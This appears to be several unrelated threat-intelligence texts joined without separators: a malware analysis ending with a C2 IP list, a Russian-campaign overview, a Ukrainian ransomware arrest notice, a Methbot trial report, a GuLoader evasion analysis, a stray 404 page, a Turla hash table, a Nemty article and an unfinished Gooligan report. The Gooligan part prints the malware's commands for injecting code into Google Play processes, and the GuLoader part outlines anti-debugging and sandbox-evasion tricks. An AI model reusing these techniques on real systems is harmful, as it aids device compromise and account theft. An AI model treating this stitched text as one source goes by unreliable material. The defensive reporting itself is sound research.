this, we have a call to `CryptGenKey` with algo `CALG_AES_128`. So it looks like the sample is going to use a symmetric key to encrypt communication. In section 20a (state `0x386459ce`), we see how the communication is encrypted: - `CryptGenKey` - `CryptEncrypt` of the buffer to send, with the previous key. - `CryptExportKey` encrypted with the RSA public key. - The exported and encrypted symmetric key is then prepended to the buffer sent via HTTP. ## Wrap Up The analysis is far from complete; there are a lot of unexplored parts of the sample. At the end, my goal was to build a procedure to make the analysis easier, even for different or future samples, where it would be faster to understand the overall picture. ## Appendix: IoC ### C2 IP List ``` 118.38.110.192:80 181.136.190.86:80 167.71.148.58:443 211.215.18.93:8080 1.234.65.61:80 209.236.123.42:8080 187.162.250.23:443 172.245.248.239:8080 60.93.23.51:80 177.144.130.105:443 93.148.247.169:80 177.144.130.105:8080 110.39.162.2:443 87.106.46.107:8080 83.169.21.32:7080 191.223.36.170:80 95.76.153.115:80 110.39.160.38:443 45.16.226.117:443 46.43.2.95:8080 201.75.62.86:80 190.114.254.163:8080 12.162.84.2:8080 46.101.58.37:8080 197.232.36.108:80 185.94.252.27:443 70.32.84.74:8080 202.79.24.136:443 2.80.112.146:80 202.134.4.210:7080 105.209.235.113:8080 187.162.248.237:80 190.64.88.186:443 111.67.12.221:8080 5.196.35.138:7080 50.28.51.143:8080 181.30.61.163:443 103.236.179.162:80 81.215.230.173:443 190.251.216.100:80 51.255.165.160:8080 149.202.72.142:7080 192.175.111.212:7080 178.250.54.208:8080 24.232.228.233:80 190.45.24.210:80 45.184.103.73:80 177.85.167.10:80 212.71.237.140:8080 181.120.29.49:80 170.81.48.2:80 68.183.170.114:8080 35.143.99.174:80 217.13.106.14:8080 168.121.4.238:80 172.104.169.32:8080 111.67.12.222:8080 62.84.75.50:80 77.78.196.173:443 177.23.7.151:80 213.52.74.198:80 12.163.208.58:80 1.226.84.243:8080 113.163.216.135:80 188.225.32.231:7080 191.182.6.118:80 81.213.175.132:80 104.131.41.185:8080 152.169.22.67:80 185.183.16.47:80 192.232.229.54:7080 186.146.13.184:443 178.211.45.66:8080 122.201.23.45:443 70.32.115.157:8080 190.24.243.186:80 51.15.7.145:80 46.105.114.137:8080 81.214.253.80:443 192.232.229.53:4143 59.148.253.194:8080 191.241.233.198:80 181.61.182.143:80 190.195.129.227:8090 68.183.190.199:8080 138.97.60.140:8080 138.97.60.141:7080 137.74.106.111:7080 85.214.26.7:8080 71.58.233.254:80 94.176.234.118:443 188.135.15.49:80 80.15.100.37:80 82.76.111.249:443 155.186.9.160:80 189.2.177.210:443 ```
# Russian Cyber Attack Campaigns and Actors The latest: Microsoft reports that the Russian group behind the SolarWinds attack, NOBELIUM, has struck again. **Date:** Oct 25, 2021 ## Most Recent Russian Cyber Attack Campaigns ### APT29 Campaign Targeting European Diplomats with COVID-19 Lures ESET released a report in early February stating that in October and November 2021, APT29 launched a spear-phishing campaign targeting European diplomatic missions and Ministries of Foreign Affairs. The spear-phishing emails impersonated the Iranian Ministry of Foreign Affairs, claiming the Iranian embassy would be closed due to COVID-19, aiming to compromise systems. ### Ukraine DDoS Attacks On February 15, 2022, Ukraine’s Center for Strategic Communications and Information Security reported that the Ministry of Defense, Armed Forces of Ukraine, and two state-owned banks were hit by a powerful DDoS attack. The attacks caused significant traffic, leading to interruptions in access to online banking and government sites. The U.S. and U.K. governments linked the DDoS attacks to Russia’s GRU. ### Russian Threat Actors Targeting U.S. Defense Contractors CISA, the NSA, and the FBI released an alert on February 16 stating that from at least January 2020 through February 2022, Russian state-sponsored threat actors regularly targeted U.S. cleared defense contractors. They used tactics like spear-phishing and vulnerability exploitation to gain access to networks, exfiltrating unclassified proprietary information. ### APT29 Targeting of French Organizations The French national cybersecurity agency ANSSI revealed that APT29 has been targeting French organizations in phishing campaigns since February 2021, compromising email accounts and leveraging access for further attacks. ## Geopolitical Context In early December, President Biden and President Putin held a virtual meeting to discuss military tensions along Ukraine’s borders. Biden offered Putin a choice between diplomacy and severe consequences for a potential invasion. Twitter removed networks of accounts linked to the IRA that attempted to influence Central African political discourse. In mid-December, Russia published draft security pacts demanding NATO deny membership to Ukraine and other ex-Soviet countries. President Putin and President Xi met in a virtual summit, showing solidarity against the West. ## Renewed Cyber Attack on German Parliament A spokesperson for the foreign ministry in Berlin stated Russia is responsible for a renewed cyber attack on the German parliament, targeting numerous members of parliaments and government officials in the EU. ## TinyTurla Backdoor TinyTurla is a previously undiscovered backdoor from the Turla APT group, used since at least 2020. It targets systems in the U.S. and Germany, maintaining access even if primary malware is removed. ## FoggyWeb Backdoor Microsoft discovered a new post-exploitation backdoor called FoggyWeb, capable of exfiltrating sensitive information from compromised AD FS servers. ## REvil Ransomware Gang Strikes Again In July 2021, Kaseya Ltd. was victim to one of the largest ransomware attacks in history, impacting numerous downstream companies. The REvil ransomware gang claimed to have encrypted over a million systems. ## Influence Campaign Against the Polish Government In June 2021, the Polish government attributed cyberattacks to Russian Secret Services, targeting over 4,350 accounts of Polish public figures. The goal was to destabilize the country. ## APT28 / GRU Brute Force Attacks In July 2021, the NSA, FBI, and CISA reported that APT28 has carried out widespread brute force access attempts against government and private sector targets. ## IronNet Analysis of NOBELIUM Activity Microsoft reported that NOBELIUM targeted about 3,000 email accounts at over 150 organizations, representing a shift in Russian behavior by exploiting a U.S. government email supplier. ## Additional High-Profile Russian Cyber Attack Examples - Interference in the 2016 U.S. presidential elections. - Disruption of the Ukrainian power grid in 2015. - Intrusions into the U.S. power grid in 2018. - Targeting of COVID-19 research in 2020. ## Russian Cyber Attack Landscape: In Summary Russian cyber operations represent a sophisticated threat to various sectors globally. The campaigns illustrate that Russian intelligence services view corporations, governments, and civil society as viable targets for espionage and disinformation operations. ## Fighting Back Through Collective Defense At IronNet, we detect Russian cyber attack campaigns through AI-based behavioral analytics and share discoveries within our Collective Defense ecosystem, empowering organizations to collaborate for stronger cyber defense against nation-state level adversaries.
# Кіберполіція викрила хакерське угруповання на атаках іноземних компаній вірусом-шифрувальником Використовуючи шкідливе програмне забезпечення, хакери криптували дані та вимагали викуп за відновлення доступу. Від протиправних дій постраждали понад 50 компаній у країнах Європи та Америки. Збитки сягають понад мільйон доларів США. Діяльність хакерської групи викрили співробітники Департаменту кіберполіції спільно з Головним слідчим управлінням Нацполіції, працівниками СБУ та у співпраці з колегами-правоохоронцями з Великобританії та США. Організатор групи, 36-річний киянин, спільно з дружиною та трьома знайомими здійснював кібератаки на іноземні компанії. Використовуючи шкідливе програмне забезпечення типу Ransomware, фігуранти криптували дані потерпілих. Вірус-вимагач потрапляв на техніку шляхом спам-розсилок на електронні скриньки. Викуп за відновлення доступу до даних отримували троє виконавців на власні криптогаманці. За попередніми даними, від атак постраждали понад 50 компаній, загальна сума збитків сягає більше ніж мільйон доларів США. Крім цього, на замовлення іноземних хакерів фігуранти надавали послуги з підміни IP-адрес користувачів, що дозволяло останнім приховано здійснювати протиправну діяльність. Також встановлено, що один з фігурантів розшукувався правоохоронними органами інших держав. Правопорушник за допомогою «вірусу» отримував дані банківських карток клієнтів британських банків. За кошт потерпілих зловмисник купував різні товари в інтернет-магазинах та згодом перепродавав їх. Працівники поліції спільно з правоохоронцями Великобританії та Сполучених Штатів Америки провели 9 обшуків в оселях фігурантів та в їхніх автівках. Вилучено комп’ютерну техніку, мобільні телефони, банківські картки, флеш-накопичувачі та три автомобілі. Відкрито кримінальне провадження за ч. 2 ст. 361 (Несанкціоноване втручання в роботу комп'ютерів, автоматизованих систем, комп'ютерних мереж чи мереж електрозв'язку), ч. 2 ст. 361-1 (Створення з метою використання, розповсюдження або збуту шкідливих програмних чи технічних засобів, а також їх розповсюдження або збут), ст. 209 (Легалізація (відмивання) майна, одержаного злочинним шляхом) Кримінального кодексу України. Слідчі дії тривають. Процесуальне керівництво здійснює Офіс Генерального прокурора.
# Self-described “king of fraud” is convicted for role in Methbot scam The Russian ringleader of the Methbot advertising fraud scheme was found guilty by a Brooklyn federal jury today of scamming brands, ad platforms, and other businesses out of more than $7 million. The verdict caps a nearly three-year saga that began when Aleksandr Zhukov, a 41-year-old who bragged to co-conspirators about the money he earned and called himself the “king of fraud,” was arrested in Bulgaria in November 2018 and extradited to the U.S. a couple months later. The trial gave a rare glimpse into the mind and motivations of a Russian cybercriminal, said Dzmitry Naskavets, who attended the nearly month-long trial and provides legal services to Russian-speakers accused of similar crimes. “It’s rare for this to happen—99% plead guilty. Here we have a guy who said ‘fuck you’ to everybody, including the prosecutors, the FBI agents, the lawyers. He’s like the John Gotti of cybercrime,” said Naskavets, who was not involved in the case. Zhukov maintained his innocence since he was first brought into custody and pleaded not guilty in early 2019. He claimed to have developed artificial intelligence tools to run an “absolutely legal” advertising business that didn’t victimize anyone. He asked the judge presiding over his case for a new attorney later that year, writing in a note, “I’m a weaponless soldier in front of a tank with name FBI.” According to court documents, the jury found Zhukov guilty on all four counts he was charged with: wire fraud conspiracy, wire fraud, money laundering conspiracy, and engaging in monetary transactions in property derived from specified unlawful activity. The charges carry a maximum prison sentence of up to 20 years. “Today, after evaluating the evidence and wading through the complexities of digital advertising on the internet, the jury recognized the defendant for who he is—a fraudster who used computer code to steal millions from U.S. companies,” Acting U.S. Attorney for the Eastern District of New York Mark Lesko said in a statement. “Zhukov may have thought that he could get away with his fraud by carrying it out from halfway around the world, but this verdict sends a powerful message that U.S. law enforcement will bring such cybercriminals to justice, wherever they are.” Zhukov’s scam made use of a vast network of bots and involved both fake internet users and webpages. He used an ad network called Media Methane to place ad tags on websites in exchange for payments—but rather than place them on legitimate websites, the company rented thousands of computer servers in the U.S. and the Netherlands to load ads on fake websites. Zhukov programmed the servers to simulate human internet activity—for example, they would “browse” the internet, scroll down a webpage, and start and stop video players. He also leased more than 650,000 IP addresses and registered them in the names of large telecom companies to make it seem like computer traffic was coming from residential households, according to prosecutors. “He was very advanced technically—he was sitting for months with the best software engineers in the field,” said Naskavets. “With experience like that, you could make more money than you could with bots. The Russian-speaking world… it’s crazy.” The scheme falsified billions of ad views and siphoned more than $7 million from companies that believed their ads were being watched by real human internet users. Victims included The New York Times, The New York Post, Comcast, Nestle Purina, the Texas Scottish Rite Hospital for Children, and Time Warner Cable, the Justice Department said. Sentencing is set for September 17, 2021. Tags: ad fraud, Aleksandr Zhukov, Methbot Adam is the founding editor-in-chief of The Record by Recorded Future. He previously was the cybersecurity and privacy reporter for Protocol, and prior to that covered cybersecurity, AI, and other emerging technology for The Wall Street Journal.
# Analyzing GuLoader GuLoader, also known as CloudEyE and vbdropper, was first seen in the wild in December 2019. It is delivered via spam emails (Malspam) as an attachment, fooling users and acting like legitimate mail. ### GuLoader History GuLoader got its name because Google Drive is frequently used as its download URL. It is written in VB6 (wrapper) containing the shellcode that allows it to be heavily obfuscated to evade detection by antivirus software. GuLoader has many capabilities and drops various types of malware, including RATs, stealers, and ransomwares (e.g., Formbook, Remcos, Lokibot, NanoCore, AgentTesla, Arkei/Vidar, NetWire, Hakbit, etc.). In 2020, when GuLoader was actively distributed, using cloud services to deliver malware from legitimate websites was a common trend. In 2020, Check Point exposed GuLoader as being related to CloudEyE, an Italian security software company intended for protecting Windows applications from cracking, tampering, debugging, disassembling, and dumping. ### 2020: GuLoader's Birth According to Lawrence Abrams, the first discovered spam campaign was by MalwareHunterTeam. The earliest sample obtained was from January 15, 2020: - md5: cf3e7341f48bcc58822c4aecb4eb6241 Once executed, GuLoader downloads an encrypted file from Google Drive, decrypts it, and injects it (not always) into wininit.exe (a legitimate Windows process) to evade detection. They also impersonated WHO during the COVID-19 pandemic. #### Process Injection GuLoader uses process hollowing, but instead of unmapping memory code of legitimate processes, it uses `NtCreateSection`. It creates a legitimate process (e.g., `RegAsm.exe`) in a suspended state and maps the shellcode into this process's memory. It then changes the context of the thread to execute the shellcode, which performs anti-debugging, analysis, VM detection, and other techniques. ### Anti-AV Techniques GuLoader is wrapped in VB6 and changes with every campaign to evade AV detections. The shellcode and downloaded payloads are encrypted with a hard-coded 4-byte XOR key embedded inside the malware. ### Anti-Debugging Techniques GuLoader hooks functions `DbgBreakPoint` and `DbgUiRemoteBreakin`, replacing their opcodes to prevent debugging. It hides its running thread from debuggers and checks for hardware and software breakpoints. ### Anti-Sandboxing and VMs GuLoader uses `EnumWindows` API to count all windows on the screen. If fewer than 12 are found, it terminates the process. It also uses `CPUID` to check if it is running inside a debugger or VM, and employs `RDTSC` to create delays that exceed execution time in a sandbox. ### API Resolving GuLoader uses a DJB2 hash algorithm for resolving APIs to hide them from the Import Address Table (IAT). It generates hashes for every function in `Kernel32.dll` and calls them by their hash value. ### Entering Heaven GuLoader is a 32-bit application that can trick the operating system into executing 64-bit code by calling `ntdll.dll`, `wow64.dll`, and performing a far jump instruction. ### 2021 Developments In 2021, GuLoader's code remained similar to 2020 but included additional features. It searched for Qemu emulator and VMware tools, checking installed software and drivers to detect virtual environments. ### 2022 Developments In 2022, GuLoader started using NSIS (Nullsoft Scriptable Install System) for creating installers. It employs various anti-debugging techniques, including raising exceptions to disrupt control flow and checking for remote debuggers. ### Conclusion GuLoader does not target a specific nation or industry, but most of its attacks are against e-commerce. It remains active due to its polymorphic shellcode and continuous improvements in evasion techniques. ### Additional Reading & Resources - GuLoader? No, CloudEyE. - Malware Analysis: GuLoader Dissection Reveals New Anti-Analysis Techniques and Code Injection Redundancy - GuLoader: Peering Into a Shellcode-based Downloader - GuLoader: The NSIS Vantage Point - Defeating GuLoader Anti-Analysis Technique - GuLoader: A fileless shellcode-based malware in action - The evolution of GuLoader - Spoofed Saudi Purchase Order Drops GuLoader: Part 1 - Spoofed Saudi Purchase Order Drops GuLoader — Part 2 - GuLoader: The RAT Downloader - Dissecting the new shellcode-based variant of GuLoader (CloudEyE) - Dancing With Shellcodes: Cracking the latest version of GuLoader - Playing with GuLoader Anti-VM techniques
# We can't find this page We can still get you where you need to go. Our Home Page is a great place to start.
# Turla Indicators of Compromise | SHA-1 Hash | Component | Time | Certificate | Name | |----------------------------------------------|------------------|------------|---------------------------------|-------------------| | 35f205367e2e5f8a121925bbae6ff07626b526a7 | Gazer loader x32 | 05/02/2002 17:36:10 | [email protected] valid | Win32/Turla.CC | | b151cd7c4f9e53a8dcbdeb7ce61ccdd146eb68ab | Gazer loader x32 | 05/02/2002 17:36:10 | [email protected] valid | Win32/Turla.CC | | e40bb5beec5678537e8fe537f872b2ad6b77e08a | Gazer loader x32 | 05/02/2002 17:36:10 | [email protected] valid | Win32/Turla.CC | | 522e5f02c06ad215c9d0c23c5a6a523d34ae4e91 | Gazer loader x64 | 05/02/2002 17:36:26 | [email protected] valid | Win64/Turla.AA | | c380038a57ffb8c064851b898f630312fabcbba7 | Gazer loader x64 | 05/02/2002 17:36:26 | [email protected] valid | Win64/Turla.AA | | 267f144d771b4e2832798485108decd505cb824a | Gazer loader x64 | 05/02/2002 17:36:26 | [email protected] valid | Win64/Turla.AA | | 52f6d09cccdbc38d66c184521e7ccf6b28c4b4d9 | Gazer loader x32 | 04/10/2002 18:31:37 | [email protected] valid | Win32/Turla.CC | | 475c59744accb09724dae610763b7284646ab63f | Gazer loader x32 | 04/10/2002 18:31:37 | [email protected] valid | Win32/Turla.CC | | 22542a3245d52b7bcdb3eaef5b8b2693f451f497 | Gazer loader x32 | 04/10/2002 18:31:37 | [email protected] valid | Win32/Turla.CC | | 2b9faa8b0fcadac710c7b2b93d492ff1028b5291 | Gazer loader x64 | 04/10/2002 18:34:18 | [email protected] valid | Win64/Turla.AA | | e05ab6978c17724b7c874f44f8a6cbfb1c56418d | Gazer loader x64 | 04/10/2002 18:34:18 | [email protected] valid | Win64/Turla.AA | | 6dec3438d212b67356200bbac5ec7fa41c716d86 | Gazer loader x64 | 04/10/2002 18:34:18 | [email protected] valid | Win64/Turla.AA | | b548863df838069455a76d2a63327434c02d0d9d | Gazer loader x64 | 09/01/2016 19:30:10 | not signed | Win64/Turla.AA | | c3e6511377dfe85a34e19b33575870dda8884c3c | Gazer loader x64 | 06/02/2016 19:29:15 | [email protected] | Win64/Turla.AA | | 9ff4f59ca26388c37d0b1f0e0b22322d926e294a | Gazer loader x64 | 16/02/2016 16:00:44 | [email protected] | Win64/Turla.AA | | 029aa51549d0b9222db49a53d2604d79ad1c1e59 | Gazer loader x64 | 18/02/2016 15:29:58 | [email protected] | Win64/Turla.AA | | cecc70f2b2d50269191336219a8f893d45f5e979 | Gazer loader x64 | 01/01/2017 08:39:30 | [email protected] | Win64/Turla.AG | | 7fac4fc130637afab31c56ce0a01e555d5dea40d | Gazer loader x64 | 11/06/2017 23:43:51 | [email protected] | Win64/Turla.AD | | 5838A51426CA6095B1C92B87E1BE22276C21A044 | Gazer loader x32 | 19/06/2017 01:28:51 | [email protected] | Win32/Turla.CF | | 3944253F6B7019EED496FAD756F4651BE0E282B4 | Gazer loader x64 | 19/06/2017 01:30:00 | [email protected] | Win64/Turla.AD | | 228da957a9ed661e17e00efba8e923fd17fae054 | Gazer orchestrator x32 | 05/02/2002 17:31:28 | not signed | Win32/Turla.CF | | 295d142a7bdced124fdcc8edfe49b9f3acceab8a | Gazer orchestrator x32 | 05/02/2002 17:31:28 | not signed | Win32/Turla.CF | | 0f97f599fab7f8057424340c246d3a836c141782 | Gazer orchestrator x32 | 05/02/2002 17:31:28 | not signed | Win32/Turla.CF | | dbb185e493a0fdc959763533d86d73f986409f1b | Gazer orchestrator x32 | 05/02/2002 17:31:28 | not signed | Win32/Turla.CC | | 4701828dee543b994ed2578b9e0d3991f22bd827 | Gazer orchestrator x64 | 05/02/2002 17:34:25 | not signed | Win64/Turla.AA | | 6fd611667ba19691958b5b72673b9b802edd7ff8 | Gazer orchestrator x64 | 05/02/2002 17:34:25 | not signed | Win64/Turla.AA | | fcabeb735c51e2b8eb6fb07bda8b95401d069bd8 | Gazer orchestrator x64 | 05/02/2002 17:34:25 | not signed | Win64/Turla.AA | | 75831df9cbcfd7bf812511148d2a0f117324a75f | Gazer orchestrator x32 | 04/10/2002 18:31:28 | not signed | Win32/Turla.CC | | bae3ae65c32838fb52a0f5ad2cde8659d2bff9f3 | Gazer orchestrator x32 | 04/10/2002 18:31:28 | not signed | Win32/Turla.CC | | 37ff6841419adc51eeb8756660b2fb46f3eb24ed | Gazer orchestrator x64 | 04/10/2002 18:33:02 | not signed | Win64/Turla.AA | | 9e6de3577b463451b7afce24ab646ef62ad6c2bd | Gazer orchestrator x64 | 04/10/2002 18:33:02 | not signed | Win64/Turla.AA | | 795c6ee27b147ff0a05c0477f70477e315916e0e | Gazer orchestrator x64 | 04/10/2002 18:33:02 | not signed | Win64/Turla.AA | | 8184ad9d6bbd03e99a397f8e925fa66cfbe5cf1b | Gazer orchestrator x64 | 09/01/2016 19:28:29 | not signed | Win64/Turla.AA | | 7ced96b08d7593e28fee616eccbc6338896517cf | Gazer orchestrator x64 | 06/02/2016 19:29:04 | not signed | Win64/Turla.AA | | 63c534630c2ce0070ad203f9704f1526e83ae586 | Gazer orchestrator x64 | 06/02/2016 19:29:04 | not signed | Win64/Turla.AA | | 23f1e3be3175d49e7b262cd88cfd517694dcba18 | Gazer orchestrator x64 | 18/02/2016 15:29:32 | not signed | Win64/Turla.AA | | 7a6f1486269abdc1d658db618dc3c6f2ac85a4a7 | Gazer orchestrator x64 | 01/01/2017 08:39:19 | not signed | Win64/Turla.AG | | 11B35320FB1CF21D2E57770D8D8B237EB4330EAA | Gazer orchestrator x64 | 11/06/2017 23:42:28 | not signed | Win64/Turla.AD | | E8A2BAD87027F2BF3ECAE477F805DE13FCCC0181 | Gazer orchestrator x32 | 19/06/2017 01:28:21 | not signed | Win32/Turla.CF | | 950F0B0C7701835C5FBDB6C5698A04B8AFE068E6 | Gazer orchestrator x64 | 19/06/2017 01:29:46 | not signed | Win64/Turla.AD | | a5eec8c6aadf784994bf68d9d937bb7af3684d5c | Gazer comm x64 | 05/02/2002 17:57:07 | [email protected] valid | Win64/Turla.AH | | 411ef895fe8dd4e040e8bf4048f4327f917e5724 | Gazer comm x32 | 05/02/2002 17:58:22 | [email protected] valid | Win32/Turla.CC | | c1288df9022bcd2c0a217b1536dfa83928768d06 | Gazer comm x32 | 06/02/2016 19:23:52 | not signed | Win32/Turla.CC | | 4b6ef62d5d59f2fe7f245dd3042dc7b83e3cc923 | Gazer comm x32 | 11/06/2017 23:44:24 | not signed | Win32/Turla.CF | | 7f54f9f2a6909062988ae87c1337f3cf38d68d35 | Gazer wiper x32 | 05/02/2002 17:39:07 | [email protected] valid | Win32/Turla.CL | | 27FA78DE705EBAA4B11C4B5FE7277F91906B3F92 | Gazer wiper x32 | 07/04/2016 15:04:24 | not signed | Win32/Turla.CL |
# Fake PayPal Site Spreads Nemty Ransomware A web page pretending to offer an official application from PayPal is currently spreading a new variant of Nemty ransomware to unsuspecting users. It appears that the operators of this file-encrypting malware are trying various distribution channels as it was recently observed as a payload from the RIG exploit kit (EK). ## Luring with cashback rewards The latest occurrence of Nemty was observed on a fake PayPal page that promises to return 3-5% from purchases made through the payment system. Several clues point to the fraudulent nature of the page, which is also flagged as dangerous by major browsers, but users may still fall for the trick and proceed with downloading and running the malware, which is conveniently named 'cashback.exe'. Security researcher nao_sec found the new Nemty distribution channel and used AnyRun test environment to deploy the malware and follow its activity on an infected system. The automated analysis showed that it took about seven minutes for the ransomware to encrypt the files on the victim host. However, this may differ from one system to another. Fortunately, the malicious executable is detected by most popular antivirus products on the market. A scan on VirusTotal shows that it is detected by 36 out of 68 antivirus engines. ## Homoglyph attack At first look, the web page seems genuine as cybercriminals used visuals and the structure present on the original page. To add to the deception, the cybercriminals also use what is known as homograph domain name spoofing for links to various sections of the site (Help & Contact, Fees, Security, Apps, and Shop). The crooks achieved this by using in the domain name Unicode characters from different alphabets. To distinguish between them, browsers automatically translate them into Punycode. In this case, what in Unicode looks like paypal.com translates to 'xn--ayal-f6dc.com' in Punycode. Security researcher Vitali Kremez analyzing this variant of Nemty ransomware noted that it is now at version 1.4, which comes with minor bug fixes. One thing the researcher observed is that the "isRU" check, which verifies if the infected computer is in Russia, Belarus, Kazakhstan, Tajikistan, or Ukraine, has been modified. In the latest version, if the result of the check is positive, the malware does not move with the file-encrypting function. Computers outside these countries, though, are a target and will have their files encrypted and their shadow copies deleted. Nemty ransomware has been present on cybercriminal forums for some time but it emerged on the radar of the infosec community towards the end of August, when security researcher Vitali Kremez published details of his analysis. The expert noticed in the code messages and references that made the malware stand out. BleepingComputer tests showed that the ransom demand was 0.09981 BTC, which is about $1,000, and that the payment portal is hosted in the Tor network for anonymity. At the end of August, another security researcher, Mol69, saw Nemty being distributed via RIG EK, which is probably an odd choice considering that exploit kits are on the brink of extinction as they target products that are on their death bed: Internet Explorer, Flash Player. According to Yelisey Boguslavskiy of Advanced Intelligence, Nemty was received with "extreme skepticism and aggression" on a cybercriminal forum, which is normal in that community. This may also influence its success, which is nothing compared to what Sodinokibi ransomware currently enjoys. **Update [09/08/2019, 18:00 EST]:** Article updated with new information from security researcher Vitali Kremez.
# GOOLIGAN ## MORE THAN A MILLION GOOGLE ACCOUNTS BREACHED by the Check Point Research Team ## INTRODUCTION Gooligan, a new variant of the Android malware Check Point researchers found in the SnapPea app last year, has breached the security of more than a million Google accounts, potentially exposing messages, documents, and other sensitive data to attack. This new variant roots devices and steals email addresses and authentication tokens stored on the device. With this information, an attacker can access a user’s Google account data like Google Play, Google Photos, Gmail, Google Drive, and G Suite. ## GOOLIGAN'S GENEALOGY In its previous version, dubbed SnapPea, the malware displayed an irregularly large arsenal of rooting exploits, much more than what common malware used at the time. SnapPea did not use self-made exploits, but instead collected a variety of well-known exploit kits and tried them one after the other until the rooting was successful. After achieving root access, the malware continues to ensure its persistency on the device by adding itself to the system folders and to the factory reset process, meaning it will be able to remain on the device even after flashing its ROM. The malware then continues to act on its malicious objective and waits for commands from its C&C server to download and install applications proposed by ad networks. SnapPea turned out to be an early strain of a much larger trend of mobile adware, which included, among many others, large malware families such as BrainTest and HummingBad. The same malware family was detected by different security vendors and was given several different names, such as Ghostpush, MonkeyTest, Xinyinhe, Ztorg (Triada), and others. The Check Point research team believes these are all variants of the same family based on code analysis and the samples' behavior. Ztorg, for instance, shares with Gooligan the same injection technique. The malware family reduced its activity early in 2016, until recently, when it was detected by the Check Point research team. Gooligan, the newest member of the family, arrived with a more complex architecture and greater capabilities based on injecting malicious code into the system processes. Gooligan not only roots the device but also steals the users' email address and authentication token and injects code into system apps, including Google Play, all for the purpose of generating fraudulent ad revenue. Also, the malware can fake the device's identifiers to enlarge the potential revenue from each infected device. The change in the way the malware works today may be to help finance the campaign through fraudulent ad activity. The malware simulates clicks on app advertisements provided by legitimate ad networks and forces the app to install on a device. An attacker is paid by the ad network when one of these apps is installed successfully. Logs collected by Check Point researchers show that every day Gooligan fraudulently installs at least 30,000 apps on breached devices or over 2 million apps since the campaign began. ## GENERAL ATTACK FLOW The infection begins when a user downloads and installs a malicious app containing Gooligan code on a vulnerable Android device. Check Point researchers found infected apps on third-party app stores, but the infected apps could also be downloaded by Android users directly by tapping malicious links in SMS messages sent by the attackers. Past versions of the malware were found even on Google Play, Google's official app store. After installation, an infected app sends data about the device to the campaign’s Command and Control (C&C) server. Rooting the device, Gooligan then downloads a malicious module from the C&C server and runs it. This module contains multiple Android 4 and 5 exploits from known exploit packs such as dashi root (opda.cn). These exploits still plague many devices today because security patches that fix these may not be available for some versions of Android, or they are available but were never installed by the user. Our findings from the QuadRooter scanner app emphasize this flaw in Android security. Between August 7 and August 10, 2016, more than 500,000 users tested their devices to see if they were vulnerable to the QuadRooter vulnerabilities. According to the results, a significant percentage of users did not implement new security updates. ## POST ROOT ACTIVITY If rooting is successful, the attacker has full control of the device and can execute privileged commands remotely. After achieving root access, Gooligan unpacks a number of malicious modules and installs them to the /system partition of the infected device. Most of the modules are responsible for generating revenue for the malware authors, installing fraudulent apps, but a new module goes even further, by causing direct harm to the user. This module injects code into running Google Play or GMS (Google Mobile Services) to mimic user behavior so Gooligan can avoid detection, a technique first seen with the mobile malware HummingBad. The module allows Gooligan to: - Steal a user’s Google account email and authentication token information - Install apps from Google Play and rate them to raise their reputation - Install adware to generate revenue Gooligan receives the names of the apps to download from Google Play from its C&C servers. After an app is installed, the ad service pays the attacker. Then the malware leaves a positive review and a high rating on Google Play using content it receives from the C&C server. ## DETAILED TECHNICAL ANALYSIS The loader The malware's loader changed very little since the SnapPea version. The main application hides the malicious code inside assets/close.png file. This is only a dropper, responsible for gathering information about the device, sending it to the C&C server, and downloading the next link in the malicious chain. Once initiated, it decodes dex code to a temporary file /pthe/name.apk and dynamically loads it. The loaded file contains two entities registered in the manifest: a broadcast receiver and a service. The broadcast receiver is designed to react to any activity made by the user. After each intent, it schedules an alarm, which restarts the service every hour. On each alarm, the malware gathers data about the device and sends it to one of the C&C servers in an encrypted form. This data helps the server to decide which set of tools it will send the malware to root the device. The data sent to the C&C server includes the device's phone number, OS version, IMEI, IMSI, module, country, language, and more. Below is an example of the details sent about each infected device. The C&C server responds with a link to an APK, which contains the rooting tools and the payload. By loading the exploits and actual malicious payload dynamically, and by not storing the whole operation on the original app, the malware maintains a low profile and is able to avoid detection. If the C&C server does not respond at all, the dropper downloads the payload from a default URL. ## ROOTING EXPLOITS The payload is encoded with a very simple XOR algorithm. The same technique is common to all the samples belonging to this malware family and is one of its identifiers. The dropper decodes strings and traffic from the C&C server in the same manner. Once the payload is downloaded, the malware unpacks it and dynamically loads Dalvik code and calls method InitRoot from it. The malware prepares everything it needs to control the device: exploits, utilities, and additional malware components. All of these can be obtained from two sources: the first is by downloading files from the C&C server and the second (if the server isn't available) is to decode them from a base64 string. When all executables are prepared, the malware launches the exploits one-by-one until one of them succeeds and the device is rooted. All the exploits are known Android privilege escalation exploits, which are still effective even years after patches were introduced to fix them. This is likely because of the low implementation rate of security patches in the Android ecosystem. ## PERSISTENCY After the malware roots the device, it generates a post-root shell script and executes it with root permissions. The script installs different components of malware to the directories of /system partition. This grants the malware components with persistency, since removing apps installed on the system requires root access, which most users don't have. The usual solution is flashing the device's ROM to the original ROM, which does not contain the malware. To circumvent this security solution, the malware continues to change the install-recovery.sh, to ensure the persistency of these modules even when the device is flashed. By changing the recovery file, the malware guarantees that it will be part of the new ROM which will be installed on the device. This makes it significantly harder to get rid of the malware in ordinary methods. Every installed component has an entry activity called WakeActivity. If the device was already rooted and hidden components installed to the system, the main application calls them by the timer. ## GOOGLE ACCOUNT THEFT Perhaps the most interesting feature of this campaign is that it steals email addresses and authentication tokens. Once the device is rooted, the malware collects the user's email address and matching authentication token. Using this token, the attackers can access the user's entire Google account, endangering the security of their Gmail account, Google Drive, Google Docs, Google Photos, and more. Authentication tokens are a common method used to identify users without having to require a password each time they connect to a specific service. Each token is created to identify the specific user for which it is generated. The token is stored locally on the users' devices, and each time they access the specific service the token is used to identify the users and log them into their account automatically. ## CODE INJECTION Some payloads returned by the ggview/rsddateindex API contain a new, additional functionality. This functionality injects Dalvik code into the running processes. To implement this functionality, the malware creates four files in the file system: - /system/xbin/igpi - /system/lib/igpld.so - /system/lib/igpld.so; - /system/lib/igpfix.so; And adds a few lines in the post-rooting script: ``` /system/xbin/igpi /system/lib/igpld.so com.android.vending /system/xbin/igpi /system/lib/igpld.so com.google.android.gms /system/xbin/igpi /system/lib/igpld.so com.google.android.gms.persistent ``` The file /system/xbin/igpi is used to inject binary library into a remote process. The first parameter is which library to inject, and the second parameter is the target process's name. To inject the code, it uses a common approach based on ptrace. Since writing complex logic for Android in CPP code is much more complex than in Java code, the loaded library igpld contains only the functionality which loads the Dalvik code into the target process. The loading is implemented in CPP and consists of four steps: - Setup tmp dir for dexopt; - Get SystemClassLoader object of the target process; - Use DexClassLoader to load dalvik library; - Load class from dalvik library and execute its method (hardcoded com.igp.a.Main.main method) The loaded Dalvik code receives the Android context of the target process and registers a receiver on all possible 